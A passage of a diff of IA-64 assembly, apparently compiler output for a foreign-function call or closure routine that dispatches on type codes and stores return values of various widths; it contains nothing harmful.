+ ld4 r14 = [r14] ;; - adds r14 = -1, r14 + cmp4.ge p6, p7 = 4, r14 + (p6) br.cond.dptk .L7 + adds r17 = -32, r35 ;; - cmp4.le p6, p7 = 0, r14 - sxt4 r17 = r14 - (p7) br.cond.dpnt .L18 - adds r14 = 16, r34 - ;; - ld8 r19 = [r14] -.L59: - shl r14 = r17, 3 - adds r17 = -1, r17 - ;; - add r16 = r18, r14 - add r14 = r19, r14 - cmp4.le p6, p7 = 0, r17 + ld8 r14 = [r17] ;; - ld8 r15 = [r16] - sxt4 r17 = r17 + adds r14 = 88, r14 ;; - st8 [r14] = r15 - (p6) br.cond.dptk .L59 - br .L18 -.L48: - ld4 r14 = [r15] - addl r15 = 512, r0 + ldfd f12 = [r14] + adds r14 = -12, r35 ;; - and r14 = r15, r14 + ld4 r14 = [r14] ;; - cmp4.eq p6, p7 = 0, r14 - (p6) br.cond.dptk .L18 - adds r22 = 32, r34 + cmp4.ge p6, p7 = 5, r14 + (p6) br.cond.dptk .L7 + adds r23 = -32, r35 ;; - ld8 r15 = [r22] + ld8 r14 = [r23] ;; - adds r14 = -1, r15 + adds r14 = 96, r14 ;; - cmp.ltu p6, p7 = 31, r14 - (p6) br.cond.dptk .L18 + ldfd f13 = [r14] + adds r14 = -12, r35 ;; - cmp.eq p6, p7 = 0, r15 - (p6) br.cond.dptk .L64 - adds r14 = 16, r34 + ld4 r14 = [r14] ;; - ld8 r15 = [r14] + cmp4.ge p6, p7 = 6, r14 + (p6) br.cond.dptk .L7 + adds r15 = -32, r35 ;; - st1 [r15] = r18 - ld8 r15 = [r22] + ld8 r14 = [r15] ;; -.L64: - cmp.geu p6, p7 = 1, r15 - (p6) br.cond.dptk .L65 - adds r14 = 16, r34 - shr r16 = r18, 8 + adds r14 = 104, r14 ;; - ld8 r15 = [r14] + ldfd f14 = [r14] + adds r14 = -12, r35 ;; - adds r15 = 1, r15 + ld4 r14 = [r14] ;; - st1 [r15] = r16 - ld8 r15 = [r22] + cmp4.ge p6, p7 = 7, r14 + (p6) br.cond.dptk .L7 + adds r16 = -32, r35 ;; -.L65: - cmp.geu p6, p7 = 2, r15 - (p6) br.cond.dptk .L66 - adds r14 = 16, r34 - shr r16 = r18, 16 + ld8 r14 = [r16] ;; - ld8 r15 = [r14] + adds r14 = 112, r14 ;; - adds r15 = 2, r15 + ldfd f15 = [r14] +.L7: + adds r17 = -32, r35 ;; - st1 [r15] = r16 - ld8 r15 = [r22] + ld8 r14 = [r17] ;; -.L66: - cmp.geu p6, p7 = 3, r15 - (p6) br.cond.dptk .L67 - adds r14 = 16, r34 - shr r16 = r18, 24 + adds r14 = 24, r14 ;; - ld8 r15 = [r14] + ld4 r14 = [r14] ;; - adds r15 = 3, r15 + cmp4.ne p6, p7 = 13, r14 + (p6) br.cond.dptk .L15 + adds r23 = -32, r35 ;; - st1 [r15] = r16 - ld8 r15 = [r22] + ld8 r16 = [r23] + adds r15 = -32, r35 ;; -.L67: - cmp.geu p6, p7 = 4, r15 - (p6) br.cond.dptk .L68 - adds r14 = 16, r34 - shr r16 = r18, 32 + ld8 r14 = [r15] ;; - ld8 r15 = [r14] + adds r17 = 120, r14 + adds r23 = -32, r35 ;; - adds r15 = 4, r15 + ld8 r14 = [r23] ;; - st1 [r15] = r16 - ld8 r15 = [r22] + adds r18 = 128, r14 + adds r15 = -32, r35 ;; -.L68: - cmp.geu p6, p7 = 5, r15 - (p6) br.cond.dptk .L69 - adds r14 = 16, r34 - shr r16 = r18, 40 + ld8 r14 = [r15] ;; - ld8 r15 = [r14] + adds r19 = 136, r14 + adds r23 = -32, r35 ;; - adds r15 = 5, r15 + ld8 r14 = [r23] ;; - st1 [r15] = r16 - ld8 r15 = [r22] + adds r20 = 144, r14 + adds r15 = -32, r35 ;; -.L69: - cmp.geu p6, p7 = 6, r15 - (p6) br.cond.dptk .L70 - adds r14 = 16, r34 - shr r16 = r18, 48 + ld8 r14 = [r15] ;; - ld8 r15 = [r14] + adds r21 = 152, r14 + adds r23 = -32, r35 ;; - adds r15 = 6, r15 + ld8 r14 = [r23] ;; - st1 [r15] = r16 - ld8 r15 = [r22] + adds r22 = 160, r14 + adds r15 = -32, r35 ;; -.L70: - cmp.geu p6, p7 = 7, r15 - (p6) br.cond.dptk .L71 - adds r14 = 16, r34 - shr r16 = r18, 56 + ld8 r14 = [r15] ;; - ld8 r15 = [r14] + adds r15 = 168, r14 + adds r23 = -32, r35 ;; - adds r15 = 7, r15 + ld8 r14 = [r23] ;; - st1 [r15] = r16 - ld8 r15 = [r22] + adds r14 = 176, r14 + ld8 r16 = [r16] + ld8 r37 = [r17] + ld8 r38 = [r18] + ld8 r39 = [r19] + ld8 r40 = [r20] + ld8 r41 = [r21] + ld8 r42 = [r22] + ld8 r43 = [r15] + ;; + ld8 r44 = [r14] + ld8 r14 = [r16], 8 + ;; + mov b6 = r14 + ld8 r1 = [r16] + br.call.sptk.many b0 = b6 + ;; + mov r1 = r36 + mov f6 = f8 + adds r15 = -32, r35 ;; -.L71: - cmp.geu p6, p7 = 8, r15 - (p6) br.cond.dptk .L18 - adds r16 = 16, r34 + ld8 r14 = [r15] ;; - ld8 r14 = [r16] + adds r14 = 16, r14 ;; - adds r14 = 8, r14 + ld8 r14 = [r14] ;; - st1 [r14] = r9 - ld8 r15 = [r22] + stfs [r14] = f6 + br .L16 + ;; +.L15: + adds r16 = -32, r35 ;; - cmp.geu p6, p7 = 9, r15 - (p6) br.cond.dptk .L73 ld8 r14 = [r16] - shr r15 = r9, 8 ;; - adds r14 = 9, r14 + adds r14 = 24, r14 ;; - st1 [r14] = r15 - ld8 r15 = [r22] + ld4 r14 = [r14] ;; -.L73: - cmp.geu p6, p7 = 10, r15 - (p6) br.cond.dptk .L74 - ld8 r14 = [r16] - shr r15 = r9, 16 + cmp4.ne p6, p7 = 14, r14 + (p6) br.cond.dptk .L17 + adds r17 = -32, r35 ;; - adds r14 = 10, r14 + ld8 r16 = [r17] + adds r23 = -32, r35 ;; - st1 [r14] = r15 -.L74: - ld8 r14 = [r22] + ld8 r14 = [r23] ;; - cmp.geu p6, p7 = 11, r14 - (p6) br.cond.dptk .L75 - ld8 r14 = [r16] - shr r15 = r9, 24 + adds r17 = 120, r14 + adds r15 = -32, r35 ;; - adds r14 = 11, r14 + ld8 r14 = [r15] ;; - st1 [r14] = r15 - ld8 r14 = [r22] + adds r18 = 128, r14 + adds r23 = -32, r35 ;; -.L75: - cmp.geu p6, p7 = 12, r14 - (p6) br.cond.dptk .L76 - ld8 r14 = [r16] - shr r15 = r9, 32 + ld8 r14 = [r23] ;; - adds r14 = 12, r14 + adds r19 = 136, r14 + adds r15 = -32, r35 ;; - st1 [r14] = r15 - ld8 r14 = [r22] + ld8 r14 = [r15] ;; -.L76: - cmp.geu p6, p7 = 13, r14 - (p6) br.cond.dptk .L77 - ld8 r14 = [r16] - shr r15 = r9, 40 + adds r20 = 144, r14 + adds r23 = -32, r35 ;; - adds r14 = 13, r14 + ld8 r14 = [r23] ;; - st1 [r14] = r15 - ld8 r14 = [r22] + adds r21 = 152, r14 + adds r15 = -32, r35 ;; -.L77: - cmp.geu p6, p7 = 14, r14 - (p6) br.cond.dptk .L78 - ld8 r14 = [r16] - shr r15 = r9, 48 + ld8 r14 = [r15] ;; - adds r14 = 14, r14 + adds r22 = 160, r14 + adds r23 = -32, r35 ;; - st1 [r14] = r15 - ld8 r14 = [r22] + ld8 r14 = [r23] ;; -.L78: - cmp.geu p6, p7 = 15, r14 - (p6) br.cond.dptk .L79 - ld8 r14 = [r16] - shr r15 = r9, 56 + adds r15 = 168, r14 + adds r23 = -32, r35 ;; - adds r14 = 15, r14 + ld8 r14 = [r23] ;; - st1 [r14] = r15 - ld8 r14 = [r22] + adds r14 = 176, r14 + ld8 r16 = [r16] + ld8 r37 = [r17] + ld8 r38 = [r18] + ld8 r39 = [r19] + ld8 r40 = [r20] + ld8 r41 = [r21] + ld8 r42 = [r22] + ld8 r43 = [r15] + ;; + ld8 r44 = [r14] + ld8 r14 = [r16], 8 + ;; + mov b6 = r14 + ld8 r1 = [r16] + br.call.sptk.many b0 = b6 + ;; + mov r1 = r36 + mov f6 = f8 + adds r15 = -32, r35 ;; -.L79: - cmp.geu p6, p7 = 16, r14 - (p6) br.cond.dptk .L18 - ld8 r14 = [r16] + ld8 r14 = [r15] ;; adds r14 = 16, r14 ;; - st1 [r14] = r10 - ld8 r14 = [r22] + ld8 r14 = [r14] ;; - cmp.geu p6, p7 = 17, r14 - (p6) br.cond.dptk .L81 - ld8 r14 = [r16] - shr r15 = r10, 8 + stfd [r14] = f6 + br .L16 ;; - adds r14 = 17, r14 +.L17: + adds r17 = -32, r35 ;; - st1 [r14] = r15 - ld8 r14 = [r22] + ld8 r16 = [r17] + adds r23 = -32, r35 ;; -.L81: - cmp.geu p6, p7 = 18, r14 - (p6) br.cond.dptk .L82 - ld8 r14 = [r16] - shr r15 = r10, 16 + ld8 r14 = [r23] ;; - adds r14 = 18, r14 + adds r17 = 120, r14 + adds r15 = -32, r35 ;; - st1 [r14] = r15 - ld8 r14 = [r22] + ld8 r14 = [r15] ;; -.L82: - cmp.geu p6, p7 = 19, r14 - (p6) br.cond.dptk .L83 - ld8 r14 = [r16] - shr r15 = r10, 24 + adds r18 = 128, r14 + adds r23 = -32, r35 ;; - adds r14 = 19, r14 + ld8 r14 = [r23] ;; - st1 [r14] = r15 - ld8 r14 = [r22] + adds r19 = 136, r14 + adds r15 = -32, r35 ;; -.L83: - cmp.geu p6, p7 = 20, r14 - (p6) br.cond.dptk .L84 - ld8 r14 = [r16] - shr r15 = r10, 32 + ld8 r14 = [r15] ;; - adds r14 = 20, r14 + adds r20 = 144, r14 + adds r23 = -32, r35 ;; - st1 [r14] = r15 - ld8 r14 = [r22] + ld8 r14 = [r23] ;; -.L84: - cmp.geu p6, p7 = 21, r14 - (p6) br.cond.dptk .L85 - ld8 r14 = [r16] - shr r15 = r10, 40 + adds r21 = 152, r14 + adds r15 = -32, r35 ;; - adds r14 = 21, r14 + ld8 r14 = [r15] ;; - st1 [r14] = r15 -.L85: - ld8 r14 = [r22] + adds r22 = 160, r14 + adds r23 = -32, r35 ;; - cmp.geu p6, p7 = 22, r14 - (p6) br.cond.dptk .L86 - ld8 r14 = [r16] - shr r15 = r10, 48 + ld8 r14 = [r23] ;; - adds r14 = 22, r14 + adds r15 = 168, r14 + adds r23 = -32, r35 ;; - st1 [r14] = r15 - ld8 r14 = [r22] + ld8 r14 = [r23] ;; -.L86: - cmp.geu p6, p7 = 23, r14 - (p6) br.cond.dptk .L87 - ld8 r14 = [r16] - shr r15 = r10, 56 + adds r14 = 176, r14 + ld8 r16 = [r16] + ld8 r37 = [r17] + ld8 r38 = [r18] + ld8 r39 = [r19] + ld8 r40 = [r20] + ld8 r41 = [r21] + ld8 r42 = [r22] + ld8 r43 = [r15] + ;; + ld8 r44 = [r14] + ld8 r14 = [r16], 8 + ;; + mov b6 = r14 + ld8 r1 = [r16] + br.call.sptk.many b0 = b6 + ;; + mov r1 = r36 + mov r15 = r8 + adds r14 = -8, r35 ;; - adds r14 = 23, r14 + st8 [r14] = r15 + adds r15 = -32, r35 ;; - st1 [r14] = r15 - ld8 r14 = [r22] + ld8 r14 = [r15] + ;; + adds r14 = 24, r14 + ;; + ld4 r14 = [r14] + ;; + cmp4.ne p6, p7 = 1, r14 + (p6) br.cond.dptk .L19 + br .L16 + ;; +.L19: + adds r16 = -32, r35 ;; -.L87: - cmp.geu p6, p7 = 24, r14 - (p6) br.cond.dptk .L18 ld8 r14 = [r16] ;; adds r14 = 24, r14 ;; - st1 [r14] = r11 - ld8 r14 = [r22] + ld4 r14 = [r14] ;; - cmp.geu p6, p7 = 25, r14 - (p6) br.cond.dptk .L89 - ld8 r14 = [r16] - shr r15 = r11, 8 + cmp4.ne p6, p7 = 0, r14 + (p6) br.cond.dptk .L21 + adds r17 = -32, r35 ;; - adds r14 = 25, r14 + ld8 r14 = [r17] ;; - st1 [r14] = r15 - ld8 r14 = [r22] + adds r14 = 16, r14 ;; -.L89: - cmp.geu p6, p7 = 26, r14 - (p6) br.cond.dptk .L90 - ld8 r14 = [r16] - shr r15 = r11, 16 + ld8 r15 = [r14] + adds r14 = -8, r35 ;; - adds r14 = 26, r14 + ld8 r14 = [r14] ;; - st1 [r14] = r15 - ld8 r14 = [r22] + st8 [r15] = r14 + br .L16 ;; -.L90: - cmp.geu p6, p7 = 27, r14 - (p6) br.cond.dptk .L91 - ld8 r14 = [r16] - shr r15 = r11, 24 +.L21: + adds r23 = -32, r35 ;; - adds r14 = 27, r14 + ld8 r14 = [r23] ;; - st1 [r14] = r15 - ld8 r14 = [r22] + adds r14 = 24, r14 ;; -.L91: - cmp.geu p6, p7 = 28, r14 - (p6) br.cond.dptk .L92 - ld8 r14 = [r16] - shr r15 = r11, 32 + ld4 r14 = [r14] ;; - adds r14 = 28, r14 + cmp4.ne p6, p7 = 2, r14 + (p6) br.cond.dptk .L23 + adds r15 = -32, r35 ;; - st1 [r14] = r15 - ld8 r14 = [r22] + ld8 r14 = [r15] ;; -.L92: - cmp.geu p6, p7 = 29, r14 - (p6) br.cond.dptk .L93 - ld8 r14 = [r16] - shr r15 = r11, 40 + adds r14 = 16, r14 ;; - adds r14 = 29, r14 + ld8 r15 = [r14] + adds r14 = -8, r35 ;; - st1 [r14] = r15 - ld8 r14 = [r22] + ld1 r14 = [r14] + ;; + st1 [r15] = r14 + br .L16 + ;; +.L23: + adds r16 = -32, r35 ;; -.L93: - cmp.geu p6, p7 = 30, r14 - (p6) br.cond.dptk .L94 ld8 r14 = [r16] - shr r15 = r11, 48 ;; - adds r14 = 30, r14 + adds r14 = 24, r14 ;; - st1 [r14] = r15 - ld8 r14 = [r22] + ld4 r14 = [r14] ;; -.L94: - cmp.geu p6, p7 = 31, r14 - (p6) br.cond.dptk .L18 - ld8 r14 = [r16] - shr r15 = r11, 56 + cmp4.ne p6, p7 = 3, r14 + (p6) br.cond.dptk .L25 + adds r17 = -32, r35 ;; - adds r14 = 31, r14 + ld8 r14 = [r17] + ;; + adds r14 = 16, r14 + ;; + ld8 r15 = [r14] + adds r14 = -8, r35 + ;; + ld1 r14 = [r14] + ;; + st1 [r15] = r14 + br .L16 + ;; +.L25: + adds r23 = -32, r35 + ;; + ld8 r14 = [r23] + ;; + adds r14 = 24, r14 + ;; + ld4 r14 = [r14] + ;; + cmp4.ne p6, p7 = 4, r14 + (p6) br.cond.dptk .L27 + adds r15 = -32, r35 + ;; + ld8 r14 = [r15] + ;; + adds r14 = 16, r14 + ;; + ld8 r15 = [r14] + adds r14 = -8, r35 + ;; + ld1 r14 = [r14] + ;; + st1 [r15] = r14 + br .L16 + ;; +.L27: + adds r16 = -32, r35 + ;; + ld8 r14 = [r16] + ;; + adds r14 = 24, r14 + ;; + ld4 r14 = [r14] + ;; + cmp4.ne p6, p7 = 5, r14 + (p6) br.cond.dptk .L29 + adds r17 = -32, r35 + ;; + ld8 r14 = [r17] + ;; + adds r14 = 16, r14 + ;; + ld8 r15 = [r14] + adds r14 = -8, r35 + ;; + ld2 r14 = [r14] + ;; + st2 [r15] = r14 + br .L16 + ;; +.L29: + adds r23 = -32, r35 + ;; + ld8 r14 = [r23] + ;; + adds r14 = 24, r14 + ;; + ld4 r14 = [r14] + ;; + cmp4.ne p6, p7 = 6, r14 + (p6) br.cond.dptk .L31 + adds r15 = -32, r35 + ;; + ld8 r14 = [r15] + ;; + adds r14 = 16, r14 + ;; + ld8 r15 = [r14] + adds r14 = -8, r35 + ;; + ld2 r14 = [r14] + ;; + st2 [r15] = r14 + br .L16 + ;; +.L31: + adds r16 = -32, r35 + ;; + ld8 r14 = [r16] + ;; + adds r14 = 24, r14 + ;; + ld4 r14 = [r14] + ;; + cmp4.ne p6, p7 = 7, r14 + (p6) br.cond.dptk .L33 + adds r17 = -32, r35 + ;; + ld8 r14 = [r17] + ;; + adds r14 = 16, r14 + ;; + ld8 r15 = [r14] + adds r14 = -8, r35 + ;; + ld4 r14 = [r14] + ;; + st4 [r15] = r14 + br .L16 + ;; +.L33: + adds r23 = -32, r35 + ;; + ld8 r14 = [r23] + ;; + adds r14 = 24, r14 + ;; + ld4 r14 = [r14] + ;; + cmp4.ne p6, p7 = 8, r14 + (p6) br.cond.dptk .L35 + adds r15 = -32, r35 + ;; + ld8 r14 = [r15] + ;; + adds r14 = 16, r14 + ;; + ld8 r15 = [r14] + adds r14 = -8, r35 + ;; + ld4 r14 = [r14] + ;; + st4 [r15] = r14 + br .L16 + ;; +.L35: + adds r16 = -32, r35 + ;; + ld8 r14 = [r16] + ;; + adds r14 = 24, r14 + ;; + ld4 r14 = [r14] + ;; + cmp4.eq p6, p7 = 9, r14 + (p6) br.cond.dptk .L38 + adds r17 = -32, r35 + ;; + ld8 r14 = [r17] + ;; + adds r14 = 24, r14 + ;; + ld4 r14 = [r14] + ;; + cmp4.eq p6, p7 = 11, r14 + (p6) br.cond.dptk .L38 + br .L37 + ;; +.L38: + adds r23 = -32, r35 + ;; + ld8 r14 = [r23] + ;; + adds r14 = 16, r14 + ;; + ld8 r15 = [r14] + adds r14 = -8, r35 + ;; + ld8 r14 = [r14] + ;; + st8 [r15] = r14 + br .L16 + ;; +.L37: + adds r15 = -32, r35 + ;; + ld8 r14 = [r15] + ;; + adds r14 = 24, r14 + ;; + ld4 r14 = [r14] + ;; + cmp4.eq p6, p7 = 10, r14 + (p6) br.cond.dptk .L41 + adds r16 = -32, r35 + ;; + ld8 r14 = [r16] + ;; + adds r14 = 24, r14 + ;; + ld4 r14 = [r14] + ;; + cmp4.eq p6, p7 = 12, r14 + (p6) br.cond.dptk .L41 + br .L40 + ;; +.L41: + adds r17 = -32, r35 + ;; + ld8 r14 = [r17] + ;; + adds r14 = 16, r14 + ;; + ld8 r15 = [r14] + adds r14 = -8, r35 + ;; + ld8 r14 = [r14] + ;; + st8 [r15] = r14 + br .L16 + ;; +.L40: + adds r23 = -32, r35 + ;; + ld8 r14 = [r23] + ;; + adds r14 = 24, r14 + ;; + ld4 r14 = [r14] + ;; + cmp4.ne p6, p7 = 15, r14 + (p6) br.cond.dptk .L43 + adds r15 = -32, r35 + ;; + ld8 r14 = [r15] + ;; + adds r14 = 16, r14 + ;; + ld8 r15 = [r14] + adds r14 = -8, r35 + ;; + ld8 r14 = [r14] + ;; + st8 [r15] = r14 + br .L16 + ;; +.L43: + adds r16 = -32, r35 + ;; + ld8 r14 = [r16] + ;; + adds r14 = 24, r14 + ;; + ld4 r14 = [r14] + ;; + cmp4.ne p6, p7 = 16, r14 + (p6) br.cond.dptk .L16 + adds r17 = -32, r35 + ;; + ld8 r14 = [r17] + ;; + adds r14 = 8, r14 + ;; + ld4 r14 = [r14] + ;; + and r14 = 1, r14 + ;; + cmp4.eq p6, p7 = 0, r14 + (p6) br.cond.dptk .L46 + adds r23 = -32, r35 + ;; + ld8 r14 = [r23] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.ne p6, p7 = 1, r14 + (p6) br.cond.dptk .L47 + adds r15 = -32, r35 + ;; + ld8 r14 = [r15] + ;; + adds r14 = 16, r14 + ;; + ld8 r15 = [r14] + adds r14 = -8, r35 + ;; + ld8 r14 = [r14] + ;; + ld1 r14 = [r14] + ;; + st1 [r15] = r14 + br .L16 + ;; +.L47: + adds r16 = -32, r35 + ;; + ld8 r14 = [r16] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.ne p6, p7 = 2, r14 + (p6) br.cond.dptk .L49 + adds r17 = -32, r35 + ;; + ld8 r14 = [r17] + ;; + adds r14 = 16, r14 + ;; + ld8 r15 = [r14] + adds r14 = -8, r35 + ;; + ld8 r14 = [r14] + ;; + ld2 r14 = [r14] + ;; + st2 [r15] = r14 + br .L16 + ;; +.L49: + adds r23 = -32, r35 + ;; + ld8 r14 = [r23] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.ne p6, p7 = 4, r14 + (p6) br.cond.dptk .L51 + adds r15 = -32, r35 + ;; + ld8 r14 = [r15] + ;; + adds r14 = 16, r14 + ;; + ld8 r15 = [r14] + adds r14 = -8, r35 + ;; + ld8 r14 = [r14] + ;; + ld4 r14 = [r14] + ;; + st4 [r15] = r14 + br .L16 + ;; +.L51: + adds r16 = -32, r35 + ;; + ld8 r14 = [r16] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.ne p6, p7 = 8, r14 + (p6) br.cond.dptk .L53 + adds r17 = -32, r35 + ;; + ld8 r14 = [r17] + ;; + adds r14 = 16, r14 + ;; + ld8 r15 = [r14] + adds r14 = -8, r35 + ;; + ld8 r14 = [r14] + ;; + ld8 r14 = [r14] + ;; + st8 [r15] = r14 + br .L16 + ;; +.L53: + mov r15 = r35 + adds r23 = -32, r35 + ;; + ld8 r14 = [r23] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + adds r14 = 7, r14 + ;; + shr.u r14 = r14, 3 + ;; + st4 [r15] = r14 +.L55: + mov r15 = r35 + mov r14 = r35 + ;; + ld4 r14 = [r14] + ;; + adds r14 = -1, r14 + ;; + st4 [r15] = r14 + cmp4.le p6, p7 = r0, r14 + (p6) br.cond.dptk .L57 + br .L16 + ;; +.L57: + adds r14 = -32, r35 + ;; + ld8 r16 = [r14] + mov r14 = r35 + ;; + ld4 r14 = [r14] + ;; + sxt4 r14 = r14 + ;; + shladd r15 = r14, 3, r0 + adds r14 = 16, r16 + ;; + ld8 r14 = [r14] + ;; + add r16 = r15, r14 + mov r14 = r35 + ;; + ld4 r14 = [r14] + ;; + sxt4 r14 = r14 + ;; + shladd r15 = r14, 3, r0 + adds r14 = -8, r35 + ;; + ld8 r14 = [r14] + ;; + add r14 = r15, r14 + ;; + ld8 r14 = [r14] + ;; + st8 [r16] = r14 + br .L55 + ;; +.L46: + adds r15 = -32, r35 + ;; + ld8 r14 = [r15] + ;; + adds r14 = 8, r14 + ;; + ld4 r15 = [r14] + addl r14 = 512, r0 + ;; + and r14 = r14, r15 + ;; + cmp4.eq p6, p7 = 0, r14 + (p6) br.cond.dptk .L16 + adds r16 = -32, r35 + ;; + ld8 r14 = [r16] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.eq p6, p7 = 0, r14 + (p6) br.cond.dptk .L16 + adds r17 = -32, r35 + ;; + ld8 r14 = [r17] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.ltu p6, p7 = 32, r14 + (p6) br.cond.dptk .L16 + adds r23 = -32, r35 + ;; + ld8 r14 = [r23] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.eq p6, p7 = 0, r14 + (p6) br.cond.dptk .L61 + adds r15 = -32, r35 + ;; + ld8 r14 = [r15] + ;; + adds r14 = 16, r14 + ;; + ld8 r15 = [r14] + adds r14 = -8, r35 + ;; + ld1 r14 = [r14] + ;; + st1 [r15] = r14 +.L61: + adds r16 = -32, r35 + ;; + ld8 r14 = [r16] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.geu p6, p7 = 1, r14 + (p6) br.cond.dptk .L62 + adds r17 = -32, r35 + ;; + ld8 r14 = [r17] + ;; + adds r14 = 16, r14 + ;; + ld8 r14 = [r14] + ;; + adds r15 = 1, r14 + adds r14 = -8, r35 + ;; + ld8 r14 = [r14] + ;; + shr r14 = r14, 8 + ;; + st1 [r15] = r14 +.L62: + adds r23 = -32, r35 + ;; + ld8 r14 = [r23] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.geu p6, p7 = 2, r14 + (p6) br.cond.dptk .L63 + adds r15 = -32, r35 + ;; + ld8 r14 = [r15] + ;; + adds r14 = 16, r14 + ;; + ld8 r14 = [r14] + ;; + adds r15 = 2, r14 + adds r14 = -8, r35 + ;; + ld8 r14 = [r14] + ;; + shr r14 = r14, 16 + ;; + st1 [r15] = r14 +.L63: + adds r16 = -32, r35 + ;; + ld8 r14 = [r16] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.geu p6, p7 = 3, r14 + (p6) br.cond.dptk .L64 + adds r17 = -32, r35 + ;; + ld8 r14 = [r17] + ;; + adds r14 = 16, r14 + ;; + ld8 r14 = [r14] + ;; + adds r15 = 3, r14 + adds r14 = -8, r35 + ;; + ld8 r14 = [r14] + ;; + shr r14 = r14, 24 + ;; + st1 [r15] = r14 +.L64: + adds r23 = -32, r35 + ;; + ld8 r14 = [r23] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.geu p6, p7 = 4, r14 + (p6) br.cond.dptk .L65 + adds r15 = -32, r35 + ;; + ld8 r14 = [r15] + ;; + adds r14 = 16, r14 + ;; + ld8 r14 = [r14] + ;; + adds r15 = 4, r14 + adds r14 = -8, r35 + ;; + ld8 r14 = [r14] + ;; + shr r14 = r14, 32 + ;; + st1 [r15] = r14 +.L65: + adds r16 = -32, r35 + ;; + ld8 r14 = [r16] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.geu p6, p7 = 5, r14 + (p6) br.cond.dptk .L66 + adds r17 = -32, r35 + ;; + ld8 r14 = [r17] + ;; + adds r14 = 16, r14 + ;; + ld8 r14 = [r14] + ;; + adds r15 = 5, r14 + adds r14 = -8, r35 + ;; + ld8 r14 = [r14] + ;; + shr r14 = r14, 40 + ;; + st1 [r15] = r14 +.L66: + adds r23 = -32, r35 + ;; + ld8 r14 = [r23] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.geu p6, p7 = 6, r14 + (p6) br.cond.dptk .L67 + adds r15 = -32, r35 + ;; + ld8 r14 = [r15] + ;; + adds r14 = 16, r14 + ;; + ld8 r14 = [r14] + ;; + adds r15 = 6, r14 + adds r14 = -8, r35 + ;; + ld8 r14 = [r14] + ;; + shr r14 = r14, 48 + ;; + st1 [r15] = r14 +.L67: + adds r16 = -32, r35 + ;; + ld8 r14 = [r16] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.geu p6, p7 = 7, r14 + (p6) br.cond.dptk .L68 + adds r17 = -32, r35 + ;; + ld8 r14 = [r17] + ;; + adds r14 = 16, r14 + ;; + ld8 r14 = [r14] + ;; + adds r15 = 7, r14 + adds r14 = -8, r35 + ;; + ld8 r14 = [r14] + ;; + shr r14 = r14, 56 + ;; + st1 [r15] = r14 +.L68: + adds r23 = -32, r35 + ;; + ld8 r14 = [r23] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.geu p6, p7 = 8, r14 + (p6) br.cond.dptk .L16 + adds r15 = -32, r35 + ;; + ld8 r14 = [r15] + ;; + adds r14 = 16, r14 + ;; + ld8 r14 = [r14] + ;; + adds r14 = 8, r14 + ;; + st1 [r14] = r9 + adds r16 = -32, r35 + ;; + ld8 r14 = [r16] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.geu p6, p7 = 9, r14 + (p6) br.cond.dptk .L70 + adds r17 = -32, r35 + ;; + ld8 r14 = [r17] + ;; + adds r14 = 16, r14 + ;; + ld8 r14 = [r14] + ;; + adds r15 = 9, r14 + shr r14 = r9, 8 + ;; + st1 [r15] = r14 +.L70: + adds r23 = -32, r35 + ;; + ld8 r14 = [r23] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.geu p6, p7 = 10, r14 + (p6) br.cond.dptk .L71 + adds r15 = -32, r35 + ;; + ld8 r14 = [r15] + ;; + adds r14 = 16, r14 + ;; + ld8 r14 = [r14] + ;; + adds r15 = 10, r14 + shr r14 = r9, 16 + ;; + st1 [r15] = r14 +.L71: + adds r16 = -32, r35 + ;; + ld8 r14 = [r16] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.geu p6, p7 = 11, r14 + (p6) br.cond.dptk .L72 + adds r17 = -32, r35 + ;; + ld8 r14 = [r17] + ;; + adds r14 = 16, r14 + ;; + ld8 r14 = [r14] + ;; + adds r15 = 11, r14 + shr r14 = r9, 24 + ;; + st1 [r15] = r14 +.L72: + adds r23 = -32, r35 + ;; + ld8 r14 = [r23] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.geu p6, p7 = 12, r14 + (p6) br.cond.dptk .L73 + adds r15 = -32, r35 + ;; + ld8 r14 = [r15] + ;; + adds r14 = 16, r14 + ;; + ld8 r14 = [r14] + ;; + adds r15 = 12, r14 + shr r14 = r9, 32 + ;; + st1 [r15] = r14 +.L73: + adds r16 = -32, r35 + ;; + ld8 r14 = [r16] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.geu p6, p7 = 13, r14 + (p6) br.cond.dptk .L74 + adds r17 = -32, r35 + ;; + ld8 r14 = [r17] + ;; + adds r14 = 16, r14 + ;; + ld8 r14 = [r14] + ;; + adds r15 = 13, r14 + shr r14 = r9, 40 + ;; + st1 [r15] = r14 +.L74: + adds r23 = -32, r35 + ;; + ld8 r14 = [r23] + ;; + adds r14 = 32, r14 + ;; + ld8 r14 = [r14] + ;; + cmp.geu p6, p7 = 14, r14 + (p6) br.cond.dptk .L75 + adds r15 = -32, r35 + ;; + ld8 r14 = [r15] + ;; + adds r14 = 16, r14 + ;; + ld8 r14 = [r14] + ;; + adds r15 = 14, r14 + shr r14 = r9, 48 + ;; + st1 [r15] = r14 +.L75: + adds r16 = -32, r35 + ;; + ld8 r14 = [r16] + ;; + adds r14 = 32, r14 + ;; + 